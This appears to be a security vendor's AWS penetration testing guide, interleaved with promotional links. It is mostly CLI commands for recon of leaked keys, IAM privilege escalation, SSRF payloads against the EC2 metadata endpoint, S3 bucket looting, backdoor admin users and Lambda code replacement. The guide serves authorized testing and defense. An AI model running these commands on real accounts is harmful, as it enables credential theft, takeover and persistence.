Cloud environments have fundamentally changed how organizations build and operate infrastructure, and AWS is at the center of that shift. With that scale comes an enormous attack surface. Misconfigurations, overpermissioned roles, exposed buckets, and weak credential hygiene create opportunities for attackers that simply did not exist in traditional on-premise environments.
This guide walks through a structured AWS penetration testing methodology, covering reconnaissance, credential abuse, privilege escalation, lateral movement, and data exfiltration techniques. Every section includes real commands and tooling so security professionals can replicate these tests in authorized environments.
If your team needs expert-led cloud security assessments, Redfox Cybersecurity provides dedicated AWS penetration testing services at https://redfoxsec.com/services.
AWS penetration testing is an authorized security assessment of an organization's Amazon Web Services infrastructure. The goal is to simulate real-world attacker behavior to identify vulnerabilities before malicious actors do.
Unlike traditional network pen testing, AWS assessments focus heavily on identity and access management, API abuse, cloud-native misconfigurations, and service-specific attack surfaces including EC2, S3, Lambda, RDS, and more.
AWS permits penetration testing against your own infrastructure without prior approval for most services, but activities like DDoS simulation or Route 53 attacks still require explicit permission. Always operate within your authorized scope.
Before touching any AWS API, gather as much information as possible through passive means. This includes:
# Google dork for exposed S3 buckets
site:s3.amazonaws.com "companyname"
# Search GitHub for leaked AWS keys
gh search code "AKIA" --owner=targetorg
[cta]
Tools like TruffleHog and GitLeaks are effective for automated secret scanning across repositories.
# TruffleHog scan on a public repo
trufflehog github --repo=https://github.com/targetorg/targetrepo
# GitLeaks on a local clone
gitleaks detect --source=./targetrepo --verbose
[cta]
Once you have credentials, even low-privilege ones, begin enumerating the environment systematically.
# Identify the current identity
aws sts get-caller-identity
# List all IAM users
aws iam list-users
# List all roles
aws iam list-roles
# List attached policies for a user
aws iam list-attached-user-policies --user-name target-user
# List all S3 buckets
aws s3 ls
# Enumerate EC2 instances across all regions
aws ec2 describe-instances --region us-east-1 --query 'Reservations[*].Instances[*].[InstanceId,PublicIpAddress,State.Name]' --output table
[cta]
Manual enumeration is useful but time-consuming. Tools like ScoutSuite and Prowler automate the collection of AWS configuration data and flag known misconfigurations.
# Install ScoutSuite
pip install scoutsuite
# Run a full AWS audit
scout aws --profile default --report-dir ./scoutsuite-report
# Run Prowler for CIS benchmark checks
prowler aws --profile default -M csv,json -o ./prowler-output
[cta]
Redfox Cybersecurity uses both automated and manual enumeration techniques during AWS assessments to ensure full coverage. Learn more about their approach at https://redfoxsec.com/services.
IAM is the backbone of AWS access control, and it is also the most commonly abused component. Testers should review:
*)# Get the policy document for a managed policy
aws iam get-policy-version \
--policy-arn arn:aws:iam::123456789012:policy/ExamplePolicy \
--version-id v1
# List all inline policies for a user
aws iam list-user-policies --user-name target-user
# Get inline policy details
aws iam get-user-policy --user-name target-user --policy-name InlinePolicy
[cta]
Rhino Security Labs documented over 20 methods for privilege escalation in AWS. Common ones include:
Creating a new policy version:
# Create a new policy version with admin access
aws iam create-policy-version \
--policy-arn arn:aws:iam::123456789012:policy/TargetPolicy \
--policy-document file://admin-policy.json \
--set-as-default
[cta]
admin-policy.json:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
[cta]
Attaching an existing admin policy to your user:
aws iam attach-user-policy \
--user-name low-priv-user \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
[cta]
Assuming a role with broader permissions:
aws sts assume-role \
--role-arn arn:aws:iam::123456789012:role/AdminRole \
--role-session-name pentest-session
# Export the temporary credentials
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<SessionToken>
[cta]
Pacu is an AWS exploitation framework developed specifically for cloud penetration testing.
# Install Pacu
git clone https://github.com/RhinoSecurityLabs/pacu
cd pacu
pip3 install -r requirements.txt
python3 pacu.py
# Inside Pacu: run privilege escalation module
Pacu> run iam__privesc_scan
[cta]
S3 misconfigurations remain one of the leading causes of data breaches in AWS environments. Testers should check:
# Check if a bucket is publicly accessible
aws s3api get-bucket-acl --bucket target-bucket-name
# Check the bucket policy
aws s3api get-bucket-policy --bucket target-bucket-name
# Check public access block configuration
aws s3api get-public-access-block --bucket target-bucket-name
# List objects in a potentially public bucket without credentials
aws s3 ls s3://target-bucket-name --no-sign-request
# Download all objects from a misconfigured bucket
aws s3 sync s3://target-bucket-name ./local-copy --no-sign-request
[cta]
# Install S3Scanner
pip install s3scanner
# Scan a list of potential bucket names
s3scanner scan --buckets-file wordlist.txt
[cta]
If a web application hosted on EC2 makes requests based on user-supplied URLs and lacks proper SSRF protections, attackers can pivot to the IMDSv1 metadata endpoint and extract temporary credentials.
# SSRF payload targeting EC2 metadata (IMDSv1)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# If a role name is returned, retrieve credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name
[cta]
IMDSv2 mitigates this by requiring a session-oriented token, but many environments still run IMDSv1. Always check the metadata service version during assessments.
# Using curl to query IMDSv1 metadata from within an instance
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# IMDSv2 requires a token first
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
[cta]
User data scripts sometimes contain hardcoded credentials, API keys, or configuration data. These are accessible from within the instance.
# Retrieve user data from within the instance
curl http://169.254.169.254/latest/user-data
# Retrieve it externally if you have describe permissions
aws ec2 describe-instance-attribute \
--instance-id i-0abcdef1234567890 \
--attribute userData \
--query 'UserData.Value' \
--output text | base64 --decode
[cta]
Publicly shared snapshots and AMIs can expose sensitive data.
# List public snapshots owned by the target account
aws ec2 describe-snapshots \
--owner-ids 123456789012 \
--filters Name=owner-id,Values=123456789012
# Check for publicly shared AMIs
aws ec2 describe-images \
--owners 123456789012 \
--filters Name=is-public,Values=true
[cta]
Redfox Cybersecurity conducts deep-dive EC2 and compute assessments as part of their cloud security engagements. Their team specializes in uncovering subtle misconfigurations that automated tools frequently miss. Visit https://redfoxsec.com/services to scope an engagement.
Attackers with access to one AWS account can pivot to others if trust relationships are misconfigured.
# Attempt to assume a cross-account role
aws sts assume-role \
--role-arn arn:aws:iam::987654321098:role/CrossAccountRole \
--role-session-name lateral-move
# Verify the new identity
aws sts get-caller-identity
[cta]
For persistence, attackers often create new IAM users or additional access keys on existing accounts.
# Create a new IAM user
aws iam create-user --user-name backup-svc-account
# Attach admin policy
aws iam attach-user-policy \
--user-name backup-svc-account \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# Generate access keys for the backdoor user
aws iam create-access-key --user-name backup-svc-account
[cta]
Lambda functions can be weaponized as persistence mechanisms or pivot points.
# List all Lambda functions
aws lambda list-functions --region us-east-1
# Get the function policy (resource-based policy)
aws lambda get-policy \
--function-name target-function \
--region us-east-1
# Update a Lambda function to execute arbitrary code
aws lambda update-function-code \
--function-name target-function \
--zip-file fileb://malicious-payload.zip
[cta]
CloudTrail logs API calls, but not all actions are logged by default. Data events (such as S3 object-level activity) require explicit configuration. Testers should understand which actions are visible to defenders.
# Check if CloudTrail is enabled
aws cloudtrail describe-trails
# Check if data events are configured
aws cloudtrail get-event-selectors --trail-name default
# Look at recent CloudTrail events to understand logging coverage
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=EventName,AttributeValue=ConsoleLogin \
--max-results 10
[cta]
iam:CreateUser or iam:AttachUserPolicy unless explicitly within scope--dry-run flags on EC2 actions when available# Dry-run an EC2 actionto test permissions without executing
aws ec2 run-instances \
--image-id ami-0abcdef1234567890 \
--instance-type t2.micro \
--dry-run
[cta]
Every AWS penetration test report should cover:
IAM hardening:
S3 hardening:
Network and compute hardening:
AWS penetration testing requires a fundamentally different approach than traditional infrastructure assessments. The attack surface is defined less by open ports and more by IAM permissions, API exposure, and cloud-native service configurations.
A structured methodology covering reconnaissance, credential analysis, privilege escalation, lateral movement, and evasion gives security teams a complete picture of their cloud risk posture. The commands and techniques in this guide reflect real-world attacker behavior and are intended for use in authorized testing environments only.
For organizations that need a thorough, expert-led AWS security assessment, Redfox Cybersecurity delivers comprehensive cloud penetration testing that goes beyond automated scanning. Their team identifies the complex privilege escalation chains and logic-based misconfigurations that tools alone cannot detect. Get in touch at https://redfoxsec.com/services to start securing your AWS environment.
Redfox Cyber Security Inc.
8 The Green, Ste. A, Dover,
Delaware 19901,
United States.
.avif)
